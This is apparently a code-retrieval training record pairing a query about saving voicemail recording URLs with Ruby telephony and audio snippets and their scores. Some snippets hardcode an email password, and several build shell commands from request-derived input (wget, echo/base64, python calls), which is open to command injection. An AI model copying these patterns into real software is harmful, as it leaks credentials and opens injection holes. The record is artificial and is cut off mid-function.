"def test!\n begin\n send_message!(:recipient_number => '_', :body => '')\n rescue Excon::Errors::Error\n false\n rescue MessageRejectedError\n true\n else\n false # Gateway is being weird, should never accept that message\n end\n end",
"def respond_to_call(call)\n @scheduler.receive(:call_response, call)\n end",
"def modify_call_recording_state(account_id,\r\n call_id,\r\n body: nil)\r\n # Prepare query url.\r\n _query_builder = config.get_base_uri(Server::VOICEDEFAULT)\r\n _query_builder << '/api/v2/accounts/{accountId}/calls/{callId}/recording'\r\n _query_builder = APIHelper.append_url_with_template_parameters(\r\n _query_builder,\r\n 'accountId' => account_id,\r\n 'callId' => call_id\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'content-type' => 'application/json; charset=utf-8'\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = config.http_client.put(\r\n _query_url,\r\n headers: _headers,\r\n parameters: body.to_json\r\n )\r\n VoiceBasicAuth.apply(config, _request)\r\n _response = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n if _response.status_code == 400\r\n raise APIException.new(\r\n 'The call can\\'t be modified in its current state',\r\n _response\r\n )\r\n elsif _response.status_code == 401\r\n raise APIException.new(\r\n 'Please authenticate yourself',\r\n _response\r\n )\r\n elsif _response.status_code == 403\r\n raise ErrorResponseException.new(\r\n 'Your credentials are invalid. Please use your API credentials for' \\\r\n ' the Bandwidth Dashboard.',\r\n _response\r\n )\r\n elsif _response.status_code == 404\r\n raise APIException.new(\r\n 'The call never existed, no longer exists, or is inaccessible to you',\r\n _response\r\n )\r\n elsif _response.status_code == 415\r\n raise ErrorResponseException.new(\r\n 'We don\\'t support that media type. Please send us' \\\r\n ' `application/json`.',\r\n _response\r\n )\r\n elsif _response.status_code == 429\r\n raise ErrorResponseException.new(\r\n 'You\\'re sending requests to this endpoint too frequently. Please' \\\r\n ' slow your request rate down and try again.',\r\n _response\r\n )\r\n elsif _response.status_code == 500\r\n raise ErrorResponseException.new(\r\n 'Something unexpected happened. Please try again.',\r\n _response\r\n )\r\n end\r\n validate_response(_response)\r\n\r\n # Return appropriate response type.\r\n ApiResponse.new(_response)\r\n end",
"def signal\n end",
"def call_end_sub_reason=(value)\n @call_end_sub_reason = value\n end",
"def on_rejected(event)\n Qpid::Proton::Event.dispatch(@delegate, :on_rejected, event) if !@delegate.nil?\n end",
"def snow_emergency_in_effect\n ret = false\n\n imap = Net::IMAP.new('imap.gmail.com', { :port => 993, :ssl => true })\n imap.login('canhazparking', 'yesIcanz!');\n imap.select('INBOX')\n imap.search([\"SUBJECT\", \"Snow emergency\", \"SENTSINCE\", (Time.now - 1).strftime(\"%d-%b-%Y\")]).each do |msgid|\n ret = true\n break\n end\n\n imap.logout()\n imap.disconnect()\n\n return ret\nend",
"def receivable?\n at?(:active, :forget_initiated)\n end",
"def voice_dialing_blocked=(value)\n @voice_dialing_blocked = value\n end",
"def voice_dialing_blocked=(value)\n @voice_dialing_blocked = value\n end",
"def call_to\n @number = params[:number]\n user_id = session[:user_id]\n user = User.find(user_id)\n\n @error = \"\"\n device = user.primary_device\n\n if device\n # originate callback\n src = device.extension\n dst = @number\n #var2 = \"__MOR_CALLC_ACTION_ID=#{action.id.to_s}\"\n\n server = Confline.get_value(\"Web_Callback_Server\").to_i\n server = 1 if server == 0\n\n channel = \"Local/#{src}@mor_cb_src/n\"\n st = originate_call(device.id, src, channel, \"mor_cb_dst\", dst, device.callerid_number, nil, server)\n @error = _('Cannot_connect_to_asterisk_server') if st.to_i != 0\n else\n @error = _('No_device')\n end\n\n render(:layout => false)\n end",
"def process\n client.unreliable_activity_without_retry_options\n end",
"def notify_tech\n if self.status_id_changed?\n account_sid = ENV[\"TWILIO_ACCOUNT_SID\"]\n auth_token = ENV[\"TWILIO_AUTH_TOKEN\"]\n @client = Twilio::REST::Client.new(account_sid, auth_token)\n rocketElevAlert = ENV[\"TWILIO_FROM\"]\n tech_phone_number = ENV[\"TWILIO_TO\"]\n sms_body = \"The Elevator #{self.id} with Serial Number #{self.serialNumber} needs an intervention\"\n if self.status_id == Status.find_by(name: \"intervention\").id\n @client.messages.create(\n from: ENV[\"TWILIO_FROM\"],\n to: tech_phone_number, #self.column.battery.building.techPhone,\n body: sms_body)\n end\n end\n end",
"def hsdq_ack(message, context); placeholder; end",
"def initiate_conference\n @call = Call.find(params[:id])\n @call.participants.each do |participant|\n #TWILIO_CLIENT.account.calls.create({from: '+12065382886', to: \"+1#{participant.phone}\", url: \"http://dial-me-in.herokuapp.com/calls/#{@call.id}/handle_call\"})\n end\n\n redirect_to @call\n end",
"def do_hold(last_check)\n if last_check.off?\n # If the status report says the Equipment is offline, try\n # resending the Task. If that doesn't work, fail and punt to the launcher.\n hold_failure! unless send_to_rhizome\n end\n end",
"def process_rcpt_to rcpt\n unless @state.include?(:mail_from)\n send_data \"503 MAIL is required before RCPT\\r\\n\"\n else\n succeeded = proc {\n send_data \"250 Ok\\r\\n\"\n @state << :rcpt unless @state.include?(:rcpt)\n }\n failed = proc {\n send_data \"550 recipient is unacceptable\\r\\n\"\n }\n\n d = receive_recipient rcpt\n\n if d.respond_to?(:set_deferred_status)\n d.callback(&succeeded)\n d.errback(&failed)\n else\n (d ? succeeded : failed).call\n end\n\n=begin\n unless receive_recipient rcpt\n send_data \"550 recipient is unacceptable\\r\\n\"\n else\n send_data \"250 Ok\\r\\n\"\n @state << :rcpt unless @state.include?(:rcpt)\n end\n=end\n end\n end",
"def after_update_challenge\n send_email_after_canceled_reactive\n send_email_after_change_start_date\n end",
"def call_end_sub_reason\n return @call_end_sub_reason\n end",
"def send_email_request_cancelled\n send_email_request_approved\n end",
"def overdue?\n !self.attempt_next_contact_by.nil? && self.attempt_next_contact_by < Time.current\n end",
"def check_recording\n set_variables\n @notice = \"\"\n if !check_hours && !check_age\n @notice = \"You are not old enough and do not have enough hours to record this show.\"\n elsif !check_hours\n @notice = \"You do not have enough hours to record this show.\"\n elsif !check_age\n @notice = \"You are not old enough to record this show.\"\n end\n @notice\n end",
"def process_response\n case @msg.sip_method\n when :INVITE\n if client_transaction = @msg.connection.class.invite_client_transactions[@msg.via_branch_id]\n client_transaction.receive_response(@msg)\n return\n end\n when :ACK\n when :CANCEL\n if client_transaction = @msg.connection.class.invite_client_transactions[@msg.via_branch_id]\n client_transaction.receive_response_to_cancel(@msg)\n return\n end\n else\n if client_transaction = @msg.connection.class.non_invite_client_transactions[@msg.via_branch_id]\n client_transaction.receive_response(@msg)\n return\n end\n end\n log_system_debug \"ignoring a response non matching a client transaction (#{@msg.sip_method} #{@msg.status_code})\" if $oversip_debug\n end",
"def launch_call(dial_strategy)\n #Determine if the channel type is IAX2 or SIP and make a determination on how to dial\n channel_type = @config[\"profiles\"][dial_strategy[:profile]][\"channel\"].split('/')\n if channel_type[0] == \"IAX2\"\n channel = @config[\"channel\"] + dial_strategy[:number].to_s\n else\n channel = $HELPERS[\"hammer\"][profile][\"channel\"] + dial_strategy[:number].to_s\n end\n \n @thread_lock.synchronize do\n response = @adhearsion.proxy.originate( { \"Channel\" => channel,\n \"Context\" => @config[\"profiles\"][dial_strategy[:profile]][\"context\"],\n \"Exten\" => @config[\"profiles\"][dial_strategy[:profile]][\"extension\"],\n \"Priority\" => @config[\"profiles\"][dial_strategy[:profile]][\"priority\"],\n \"Callerid\" => dial_strategy[:callerid],\n \"Timeout\" => @config[\"profiles\"][dial_strategy[:profile]][\"timeout\"],\n \"Variable\" => dial_strategy[:instructions],\n\t\t\t\t\t \"Async\" => @config[\"profiles\"][dial_strategy[:profile]][\"async\"] } )\n end\n\t\t\t\t\t \n return response\n end",
"def alert(message)\n Delayed::Worker.logger.debug \"Setting Asq #{id} to be in alert.\"\n\n if in_alert?\n self.status = 'alert_still'\n else\n self.status = 'alert_new'\n log('warn', 'Asq is in alert')\n end\n\n store_results(message)\n check_for_related_tickets(self) if Settings.related_tickets\n finish_refresh\n end",
"def _libnotify_urgency(type)\n case type\n when 'failed'\n :normal\n else\n :low\n end\n end",
"def event_timer\n if @connection.comm.connected? and Time.now - @var[:last_ping] >= 60\n begin\n _server_control(\"keepalive\")\n rescue\n _notice(\"The connection to the server has been lost\", :global)\n @connection.disconnect\n end\n end\nend",
"def send\n # discard if sampling rate says so\n if @libhoney.should_drop(self.sample_rate)\n @libhoney.send_dropped_response(self, \"event dropped due to sampling\")\n return\n end\n\n self.send_presampled()\n end",
"def play_user_voicemails\n user = locate_user(callerid)\n if user\n play_voicemails(user)\n else\n play \"invalid\"\n end\n end",
"def signal; end",
"def signal; end",
"def appointment_complete\n end",
"def incoming_verification\n # API Check\n raise 'You shall not pass!' unless params[:api_key] == Settings.twilio.webhooks_api_key\n\n # Handle verification\n user = get_user_for_phone_verification\n user.mark_phone_as_verified! if user\n\n render nothing: true\n end",
"def cancel(*)\n super.tap do\n __debug_sim('USER has decided to withdraw the submission.')\n end\n end"
] |
[
"0.6372694",
"0.63137484",
"0.62984216",
"0.5550385",
"0.5470833",
"0.5459178",
"0.5440483",
"0.5394325",
"0.5384063",
"0.5375275",
"0.5351732",
"0.53430194",
"0.5278601",
"0.52784586",
"0.526246",
"0.52535534",
"0.52472454",
"0.52319646",
"0.5218153",
"0.52144283",
"0.51873475",
"0.5139179",
"0.5111367",
"0.5096413",
"0.50756633",
"0.5066192",
"0.5043232",
"0.5043232",
"0.503439",
"0.5026181",
"0.5022971",
"0.502083",
"0.50190467",
"0.4998638",
"0.4980142",
"0.4975879",
"0.49666768",
"0.4966295",
"0.49662563",
"0.4953484",
"0.4951867",
"0.4935502",
"0.49302155",
"0.49279404",
"0.4925599",
"0.4920236",
"0.49178505",
"0.4912614",
"0.49079603",
"0.4905027",
"0.49028543",
"0.49019164",
"0.49019164",
"0.4900976",
"0.48998657",
"0.48971027",
"0.48880357",
"0.4887314",
"0.48795784",
"0.4878633",
"0.4876686",
"0.48762763",
"0.48728406",
"0.4872342",
"0.4869415",
"0.4861295",
"0.48571944",
"0.4856931",
"0.4851329",
"0.4848009",
"0.4847159",
"0.4846728",
"0.4843438",
"0.48395255",
"0.48385322",
"0.48385322",
"0.48332053",
"0.48325577",
"0.48313338",
"0.48287526",
"0.48226812",
"0.48224962",
"0.48113936",
"0.48097613",
"0.4809069",
"0.48073906",
"0.4806953",
"0.4806915",
"0.4804369",
"0.48009303",
"0.48008937",
"0.47982734",
"0.47976306",
"0.47958452",
"0.47955814",
"0.47953779",
"0.47953779",
"0.47948822",
"0.47925794",
"0.47916228"
] |
0.5958283
|
3
|
When no one answers the call and the voicemail has been recorded, we save the url of the voicemail audio file
|
def voicemail
@call.update! voicemail: params[:RecordFile],
duration: params[:RecordingDuration]
render nothing: true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def record_voicemail_message(user)\n ahn_log.record_voicemail.debug \"playing beep, ready to record voicemail\"\n play 'beep'\n\n # TODO maybe add uuid to file name\n fn = \"#{user.id}_#{Time.now.to_i}\"\n file_name = COMPONENTS.voicemail[\"voicemail_directory\"] + fn\n file = file_name + \".#{COMPONENTS.voicemail[\"voicemail_format\"]}\"\n record file\n ahn_log.record_voicemail.debug \"recording voicemail: \" + file\n status_id = user.latest_status && user.latest_status.id\n ahn_log.record_voicemail.debug \"status_id: \" + status_id.to_s\n # we do not store file extension because asterisk is stupid and only looks for the file name to playback\n voicemail = user.voicemails.build(:file_name => fn, :caller_id => callerid, :status_id => status_id)\n if voicemail.save\n ahn_log.reecord_voicemail_message \"Successfully saved voicemail for user: \" + user.id.to_s\n else\n ahn_log.reecord_voicemail_message \"Error saving voicemail for user: \" + user.id.to_s\n end\n end",
"def save_audio(url, sid)\n\t# Name the file with the RecordingSid from Twilio\n\twavfile = \"/tmp/#{sid}.wav\"\n\tFile.open(wavfile, \"wb\") do |file|\n\t\tfile.write open(url).read\n\tend\n\treturn wavfile\nend",
"def audio_path\n #TODO change path after Yura send information\n \"/audio/success.wav\"\n end",
"def audio; end",
"def create\n @voice = Voice.new(voice_params)\n output_filepath = download_voice(params[:voice][:url])\n File.open(\"#{Rails.root}/#{output_filepath}\") do |f|\n @voice.voice_file = f\n end\n o, e, s = Open3.capture3(\"wget -nv --delete-after '#{@voice.url}'\")\n e.chomp =~ /.*URL:(.*) \\[.*\\] -> /\n @voice.url = Regexp.last_match(1)\n return render :edit if @voice.invalid?\n @voice.save!\n\n system(\"rm #{output_filepath}\")\n\n flash[:success] = 'Voice was successfully created.'\n redirect_to voices_path\n end",
"def voicemail_new(voicemail, extension)\n attachments.inline['voicemail.png'] = email_cdn_file '/img/voicemail.png'\n @voicemail = voicemail\n @extension = extension\n @company_phone = @extension.company_phone\n @company = @company_phone.company\n attachments['voicemail.wav'] = read_url_file voicemail.audiofile\n mail(\n to: extension.email,\n subject: '¡En GurúComm, tienes un nuevo mensaje de voz!'\n )\n end",
"def show\n @call = Call.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @call }\n format.oga {\n if @call.audio\n send_file @call.audio.data.path, :type => @call.audio.data_content_type, :disposition => 'inline'\n else\n redirect_to :status => 404\n end\n }\n end\n end",
"def audio\n @audio ||= URI.parse(\"#{AUDIO_SERVICE_URL}/#{@language.slug}/#{URI::encode(@text)}.mp3\")\n end",
"def update\n @voice.assign_attributes(voice_params)\n output_filepath = download_voice(params[:voice][:url])\n File.open(\"#{Rails.root}/#{output_filepath}\") do |f|\n @voice.voice_file = f\n end\n o, e, s = Open3.capture3(\"wget -nv --delete-after '#{@voice.url}'\")\n e.chomp =~ /.*URL:(.*) \\[.*\\] -> /\n @voice.url = Regexp.last_match(1)\n respond_to do |format|\n if @voice.save\n flash[:success] = 'Voice was successfully updated.'\n format.html { redirect_to voices_path }\n else\n format.html { render :edit }\n end\n end\n end",
"def call\n PollyService.update if @@polly.nil?\n mp3_file = Rails.root.join(\"#{@@audio_dir}/polly-#{@voice_id}-#{@entry.id}-#{@entry.updated_at}.mp3\")\n # don't request a new file from polly if the same file already exists\n return mp3_file if File.exist?(mp3_file)\n\n params = {\n response_target: mp3_file,\n output_format: 'mp3',\n text: @text,\n text_type: @type,\n voice_id: @voice_id\n }\n Rails.logger.debug \"Polly: #{params}\"\n begin\n @@polly&.synthesize_speech(params)\n rescue\n FileUtils.rm_f(mp3_file)\n return Rails.root.join(\"#{@@audio_dir}/buzzer.wav\")\n end\n mp3_file\n end",
"def audio_url(source, options = T.unsafe(nil)); end",
"def play\n voice = User.find_by(id: current_user.id).tts_voice\n logger.info '================ START TTS ==============='\n answer_audio_file = TtsService.call(@entry, voice)\n logger.info '================ END TTS ==============='\n respond_to do |format|\n format.html do\n response.headers[\"Cache-Control\"] = \"no-cache, no-store\"\n response.headers[\"Pragma\"] = \"no-cache\"\n response.headers[\"Expires\"] = \"Mon, 01 Jan 1990 00:00:00 GMT\"\n expires_in 1.seconds, public: true\n send_file(answer_audio_file, type: 'audio/mpeg', disposition: 'inline')\n end\n end\n end",
"def getAudioUri\n return @data.scan(/https:\\/\\/.*?\\.mp3/)[0]\nend",
"def play_recording\n @page_title = \"\"\n @rec = Recording.where(:id => params[:id]).first\n unless @rec\n flash[:notice] = _('Recording_was_not_found')\n redirect_to :controller => \"callc\", :action => 'main' and return false\n end\n @recording = \"\"\n if @rec\n server_path = get_server_path(@rec.local)\n a=check_user_for_recording(@rec)\n return false if !a\n\n @title = Confline.get_value(\"Admin_Browser_Title\")\n @call = @rec.call\n\n @recording = server_path.to_s + @rec.mp3\n end\n render(:layout => \"play_rec\")\n end",
"def re_record_prompt\n active_recording = active_call.recordings.create!(duration: params['RecordingDuration'], recording_url: params['RecordingUrl'])\n response = Twilio::TwiML::Response.new do |r|\n r.Say 'Thank you.'\n play_audio(r, 'recording_play_back')\n play_audio(r, 'recording_recrcord_instructions')\n r.Gather(\n action: ivr_recordings_new_recording_url,\n method: 'get',\n 'numDigits' => 1,\n 'finishOnKey' => ''\n ) do |gather|\n r.Play(active_recording.recording_url)\n play_audio(r, 'recording_play_back')\n play_audio(r, 'recording_recrcord_instructions')\n end\n play_audio(r, 'goodbye')\n r.Hangup\n end\n\n render_twiml response\n end",
"def send_audio(url, name, audio_info = {})\n client.api.send_content(id, url, name, 'm.audio', extra_information: audio_info)\n end",
"def processAudioAttachmentMessage(attachmentName, outputFileName)\r\n html = \"<audio controls=\\\"\\\">\\n\"\r\n html << \"<source src=\\\"#{outputFileName}\\\">\\n\"\r\n html << \"<a href=\\\"#{outputFileName}\\\">#{outputFileName}</a>\\n\"\r\n html << \"</audio>\\n\"\r\n return html\r\n end",
"def download\n @audio = Audio.find(params[:id])\n send_file(RAILS_ROOT+\"/public\"+@audio.audio.url.split(\"?\")[0], :disposition => 'inline', :stream => false)\n end",
"def url_to_audio(source, options = T.unsafe(nil)); end",
"def record_audio\n\n @match = false\n\n if params[:flag]\n flag = params[:flag]\n else\n flag = 1\n end\n\n puts 'flag is :' + flag.to_s\n #flag 1 means this is the first time the user will say their phrase\n if flag == 1\n @user = User.new(user_params)\n @plain_passphrase = @user.passphrase_text\n @user.passphrase_text = hash_passphrase_text @plain_passphrase\n @user.save\n puts 'user saved'\n puts 'plain passphrase is: ' + @plain_passphrase\n puts 'hashed passphrase is: ' + @user.passphrase_text\n puts 'user id is:' + @user.id.to_s\n\n else\n #the else handles when the users phrase didn't match decoded text, so they redo the recording without changing user\n puts 'looking for user: ' + params[:user_name]\n @plain_passphrase = params[:plain_phrase]\n puts 'user passphrase is: ' + @plain_passphrase\n @user = User.find_by username: params[:user_name]\n @user.save\n puts @user.username\n end\n\n logger.debug \"Recording #{RECORDING_LENGTH} seconds of audio...\"\n microphone = Microphone.new\n\n filename = \"test_write_user_id_\"+ @user.username.to_s + \"_signup.raw\"\n\n File.open(filename, \"wb\") do |file|\n logger.debug('recording now')\n\n microphone.record do\n\n FFI::MemoryPointer.new(:int16, MAX_SAMPLES) do |buffer|\n puts 'recording now'\n\n 30.times do\n sample_count = microphone.read_audio(buffer, MAX_SAMPLES)\n\n # sample_count * 2 since this is length in bytes\n file.write buffer.get_bytes(0, sample_count * 2)\n\n sleep RECORDING_INTERVAL\n end\n end\n end\n end\n\n #16000 sampling rate, 1 channel\n user_audio_context = Chromaprint::Context.new(16000, 1)\n audio_data = File.binread(filename)\n audio_fingerprint = user_audio_context.get_fingerprint(audio_data)\n puts audio_fingerprint.compressed\n\n decoder = Pocketsphinx::Decoder.new(Pocketsphinx::Configuration.default)\n decoder.decode filename\n @decoded_text = decoder.hypothesis.to_s\n puts 'printing the word'\n puts @decoded_text\n #if @decoded_text == @plain_passphrase PUT THIS BACK AFTER ENCRYPT TEST\n if hash_passphrase_text(@decoded_text) == @user.passphrase_text\n puts 'user is ' + @user.username\n\n #now we encrypt the fingerprint\n #generate key for the user based on passphrase\n key = generate_hash_24 @plain_passphrase, @user.username\n puts 'passphrase passed to python: ' + @plain_passphrase\n @user.update_attribute(:passphrase_recording, filename)\n finger_json = { :compressed => audio_fingerprint.compressed, :raw => audio_fingerprint.raw }.to_json\n encrypted_fingerprint = `python /home/simon/Development/VoiceLocker/voicelocker/lib/assets/python/enc.py '#{finger_json}' #{key}`\n @user.update_attribute(:passphrase_fingerprint, encrypted_fingerprint)\n @match = true\n\n else\n @match = false\n\n end\n\n\n end",
"def check_audio\n post(:action => \"check-audio\")\n end",
"def sentiment_too_low(call)\n @call = call\n @company_phone = call.company_phone\n @company = @company_phone.company\n attachments['call.wav'] = read_url_file call.audiofile\n mail(\n to: @company_phone.extensions.admin.first.email,\n subject: 'GurúComm | Llamada negativa'\n )\n end",
"def to_file(message, filename)\n speech = self.synthesize message\n \n File.open(filename, \"wb\") do |f|\n f.write(speech.audio_content)\n end\n end",
"def audios_test\n end",
"def get_recording_info(twilio_id, call_duration, answered_by)\n self.duration = call_duration\n client = Twilio::REST::Client.new ACCOUNT_SID, AUTH_TOKEN\n recordings_info = client.account.calls.get(twilio_id).recordings\n self.recording_url = recordings_info.list.first.mp3\n self.recording = recordings_info.list.first.sid\n self.answered_by = answered_by\n self.save\n end",
"def sound; end",
"def play_audio(data)\n @client.make_request(:post, @client.concat_user_path(\"#{CALL_PATH}/#{id}/audio\"), data)[0]\n end",
"def speech_analysis(url)\r\n return iod_request('recognizespeech',\r\n {:url => url, :language => $audio_language, :apikey => $api_key})\r\nend",
"def url\n @url ||= File.join(AUDIO_URL_ROOT, self.path) if self.live?\n end",
"def play_audio(data)\n @client.make_request(:post, @client.concat_user_path(\"#{CONFERENCE_PATH}/#{id}/audio\"), data)[0]\n end",
"def main_audio ; end",
"def new_recording\n response = Twilio::TwiML::Response.new do |r|\n play_audio(r, 'recording_begin_at_beep')\n r.Record(action: ivr_recordings_re_record_prompt_url, method: 'post', 'finishOnKey' => '7')\n end\n\n render_twiml response\n end",
"def make\n App.out.make_audio_file\nend",
"def audio\n \t@playlist = Playlist.last\n send_glued_audio('list', :playlist => @playlist)\n end",
"def path_to_audio(source, options = T.unsafe(nil)); end",
"def save(filename)\n speech = bytes_wav\n res = IO.popen(lame_command(filename, command_options), 'r+') do |process|\n process.write(speech)\n process.close_write\n process.read\n end\n res.to_s\n end",
"def transcribe_audio\n source_wav = get_wav_from_source\n\n transcript = google_transcribe(source_wav, options)\n\n base_file_name = File.basename(source.path) + '.json'\n temp_file = audio_monster.create_temp_file(base_file_name, false)\n temp_file.write transcript.to_json\n temp_file.fsync\n\n self.destination_format = 'json'\n self.destination = temp_file\n\n completed_with info_for_transcript(transcript)\n end",
"def audio_path(source)\n compute_public_path(source, 'audios')\n end",
"def create\n @talk = Talk.new(params)\n if params[:sender_car_id]\n car = Car.find(params[:sender_car_id])\n @talk.receiver_user_id = car.user_id\n end\n\n respond_to do |format|\n if @talk.save(:validate => false)\n system(\"ffmpeg -y -i '#{Rails.root}/app/assets/audios/talks/#{@talk.id}/original/audio.caf' -acodec libmp3lame -ab 256 '#{Rails.root}/app/assets/audios/talks/#{@talk.id}/original/audio.mp3'\")\n system(\"rm '#{Rails.root}/app/assets/audios/talks/#{@talk.id}/original/audio.caf'\")\n @talk.update_attribute(:audio_file_name, \"audio.mp3\")\n format.json { render json: {:talk => @talk} }\n else\n format.json { render json: {:error => \"Talk creation failed.\"} }\n end\n end\n end",
"def show\n @talk = Talk.find(params[:id])\n\n respond_to do |format|\n # format.json { render json: {:talk => @talk, :audio => @talk.audio} }\n format.json { send_file @talk.audio.path, :type => \"audio/mp3\"}\n end\n end",
"def voa_headline\n # url = 'http://www.voanews.com/api/zym_ocutrrrrponktqdktqfjti!ktqey$_rrrpo'\n url = 'http://www.voanews.com/api/zym_ocutrrrrponpuqdvkifjti!ktqejqyrrrpp'\n txt = open(url, :read_timeout => 20)\n @xml_doc = Nokogiri::XML(txt) { |x| x.noblanks }\n pub_date = @xml_doc.root.xpath(\"channel/lastBuildDate\").first.text\n pub_date = Time.zone.parse pub_date\n if File.exists? \"/tmp/pangea_date.txt\"\n tt = File.read \"/tmp/pangea_date.txt\"\n pre_date = Time.zone.parse tt\n else\n pre_date = 1.day.ago\n end\n # if pre_date < pub_date\n puts \"Akamai uploading NNOW_HEADLINES.mp3\"\n upload_voa_mp3\n File.write \"/tmp/pangea_date.txt\", pub_date.iso8601\n # end\n\n end",
"def voice\n response = Twilio::TwiML::Response.new do |r|\n r.Say 'Hey there. Congrats on integrating Twilio into your Rails 4 app.', :voice => 'alice'\n r.Play 'http://linode.rabasa.com/cantina.mp3'\n end\n \n render_twiml response\n end",
"def get_audio\n return @audio\n end",
"def record\n\t\t\n\t\t@command = params[:m]\n\t\t\n\t\tlogger.debug(\"RECORD called\")\n\n\t\t# Write audio to temp file\n\t\tTempfile.open(['audio_', '.wav']) do |handle|\n\t\t\thandle.binmode\n\t\t\thandle.write( request.raw_post )\n\t\t\thandle.flush\n\t\t\t\n\t\t\tlogger.debug handle.path\n\t\tend\n\n\t\trender_event\n\tend",
"def recording\n @call = Call.find(params[:id])\n @call.update_attribute :recording_url, params[:RecordingUrl] || @call.recording_url\n @call.update_attribute :recording_duration, params[:RecordingDuration] || @call.recording_duration\n \n render \"calls/twiml/recording/#{@call.template}.xml.erb\"\n end",
"def upload_audio_for_transcription\n puts \"IN UPLOAD AUDIO CONTROLLER FUNCTION\"\n\n @speakers_number = params[:transcription][:speakers]\n @episode_id = params[:transcription][:ep_id]\n\n if @episode_id === nil\n puts \"EPISODE DOESN'T EXIST\"\n @episode = Episode.new(episode_params)\n if @episode.save\n GetTranscriptionJob.perform_later(@episode.id, @speakers_number)\n render json: { message: \"Transcription has started\" }\n else\n render_error\n end\n else\n puts \"EPISODE EXISTS\"\n GetTranscriptionJob.perform_later(@episode_id, @speakers_number)\n render json: { message: \"Transcription has started\" }\n end\n end",
"def audio_url_chartable\n ENV['CHARTABLE_ID'].nil? ? @audio_url : @audio_url.gsub('https://', \"https://chtbl.com/track/#{ENV['CHARTABLE_ID']}/\")\n end",
"def back_one_audition\n current_audition = self.auditions.where(:created_at.lt => (self.current_audition.created_at)).order(created_at: :desc).first\n if current_audition.present?\n self.current_audition = current_audition\n self.save\n response = self.return_voice_hash()\n ap response\n return response\n\n end\n \n end",
"def present_audio_recorder( path, delegate)\n @delegate = delegate\n NSLog(\"Audio record startet\")\n @audio_record_target = path\n\n\n end",
"def audio_path(source, options = T.unsafe(nil)); end",
"def send_data(s, data)\n\n if USE_MP3\n audio_data = `echo '#{data}' | base64 --decode | sox -r 8000 -c 1 -e mu-law -t raw - -r 48000 -c 1 -t mp3 -`\n else\n audio_data = `echo '#{data}' | base64 --decode | opusenc --quiet --raw --raw-bits 8 --raw-rate 8000 --raw-chan 1 --bitrate 96 - -`\n end\n m = ShoutMetadata.new\n m.add 'filename', \"e#{5}_#{SecureRandom.urlsafe_base64}.mp3\"\n m.add 'title', \"My episode\"\n m.add 'artist', \"Mo\"\n s.metadata = m\n s.send audio_data\n s.sync\n\nend",
"def swfupload_file=(data)\n self.music_attach = data\n end",
"def index\n if @car\n @talk = Talk.where([\"receiver_car_id = ? and received IS NULL\", @car.id]).first\n elsif @user\n @talk = Talk.where([\"receiver_user_id = ? and received IS NULL\", @user.id]).first\n end\n\n if @talk\n @talk.update_attribute(:received, true)\n respond_to do |format|\n format.json { send_file @talk.audio.path, :type => \"audio/mp3\"}\n end\n else\n respond_to do |format|\n format.json { render json: {:error => \"no talk\"}}\n end\n end\n end",
"def record_file(filename, maxtimeinseconds, beep=false, silencedetect=2) \r\n\t\tbeepstr = \"\"\r\n\t\tif (beep == true)\r\n\t\t\tbeepstr = \" BEEP \"\r\n\t\tend\r\n\t\t\r\n\t\tcmd = \"RECORD FILE \" + filename + \" gsm \" + \" \\\"*#\\\" \" + (maxtimeinseconds * 1000).to_s + beepstr + \" s=\" + silencedetect.to_s\r\n\t\tsend(cmd)\r\n\t\treturn get_result()\r\n\tend",
"def callback\n twilio_id = params[:CallSid]\n call = Call.where('twilio_id = ?', twilio_id).first\n call.get_recording_info(twilio_id, params[:CallDuration], params[:AnsweredBy])\n render :json => 'callback success'\n end",
"def audio_source_is_provided\n if self.external_url.blank? &&\n self.mp3.file.nil? &&\n self.enco_number.blank? &&\n self.enco_date.blank?\n self.errors.add(:base,\n \"Audio must have a source (upload, enco, or URL)\")\n end\n end",
"def audio\n first_stream_of :audio\n end",
"def create\n @audio = Audio.new(params[:audio])\n @call = Call.new(params[:call])\n @audio.call = @call\n @call.audio = @audio\n\n respond_to do |format|\n if @audio.save && @call.save\n format.html { redirect_to @call, notice: 'Call was successfully created.' }\n format.json { render json: @call, status: :created, location: @call }\n else\n format.html { render action: \"new\" }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def voice\n reminder = Reminder.find(params[:id])\n \tresponse = Twilio::TwiML::Response.new do |r|\n r.Say 'This is a reminder message from the Remmyo service.',:voice => 'alice'\n \t r.Say reminder.message, :voice => 'alice'\n r.Say 'End of message.',:voice => 'man'\n # r.Play 'http://linode.rabasa.com/cantina.mp3'\n \tend\n\n \trender_twiml response\n end",
"def audio\n @audio ||= (\n id = @params[:audio_track]\n ::Audio.find(id) if id\n )\n end",
"def say(speaker,text,outputList)\n\tif speaker =~ /(.*) : On \\d+\\/\\d+\\/\\d+, at \\d+:\\d+ \\w*, (.*) wrote/\n\t\tspeaker = $1.to_s\n\t\tquotedSpeaker = $2.to_s\n\t\tmessage = quoteAppend(speaker,quotedSpeaker)\n\telse\n\t\tmessage = speechAppend(speaker)\n\tend\n\tvoice = 'Bruce'\n\t#change these to the people in your chat. Won't work with many more people because of the limited number of voices.\n\tif speaker =~ /cody/i\n\t\tvoice = 'Ralph'\n\telsif speaker =~ /kidd/i\n\t\tvoice = 'Bruce'\n\telsif speaker =~ /hamstra/i\n\t\tvoice = 'Kathy'\n\telsif speaker =~ /munsch/i\n\t\tvoice = 'Princess'\n\telsif speaker =~ /schott/i\n\t\tvoice = 'Junior'\n\telsif speaker =~ /hennings/i\n\t\tvoice = 'Agnes'\n\telsif speaker =~ /aguiniga/i\n\t\tvoice = 'Zarvox'\n\telsif speaker =~ /brandon/i\n\t\tvoice = 'Whisper'\n\telsif speaker =~ /shah/i\n\t\tvoice = 'Vicki'\n\telsif speaker =~ /mcdonald/i\n\t\tvoice = 'Victoria'\n\telsif speaker =~ /williams/i\n\t\tvoice = 'Alex'\n\telsif speaker =~ /wadley/i\n\t\tvoice = 'Cellos'\n\tend\n\n\t#speak the text to .aiff files, track the files to later be combined\n\tif $current_speaker != speaker\n\t\t`say -v Fred \"#{message}\" -o recordings/\"#{$audio_file_count}\".aiff`\n\t\toutputList.write(\"file 'recordings/\"+$audio_file_count.to_s+\".aiff'\\n\")\n\t\t$audio_file_count+=1\n\t\t$current_speaker 